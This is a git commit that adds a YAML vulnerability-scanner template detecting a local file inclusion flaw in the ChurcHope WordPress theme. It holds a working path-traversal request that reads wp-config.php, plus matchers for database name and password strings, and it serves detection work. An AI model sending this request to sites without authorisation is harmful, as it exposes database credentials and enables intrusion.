Create churchope-application-lfi.yaml

patch-1
Dhiyaneshwaran 2022-02-12 23:18:53 +05:30 committed by GitHub
parent 0796ba6ff3
commit 7294e5577c
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 28 additions and 0 deletions

View File

@ -0,0 +1,28 @@
id: churchope-application-lfi
info:
name: ChurcHope Theme <= 2.1 - Local File Inclusion (LFI)
author: dhiyaneshDK
severity: high
description: The vulnerability is caused by improper filtration of user-supplied input passed via the 'file' HTTP GET parameter to the '/lib/downloadlink.php' script, which is publicly accessible.
reference:
- https://wpscan.com/vulnerability/3c5833bd-1fe0-4eba-97aa-7d3a0c8fda15
tags: wordpress,wp-plugin,lfi
requests:
- method: GET
path:
- '{{BaseURL}}/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php'
matchers-condition: and
matchers:
- type: word
words:
- "DB_NAME"
- "DB_PASSWORD"
part: body
condition: and
- type: status
status:
- 200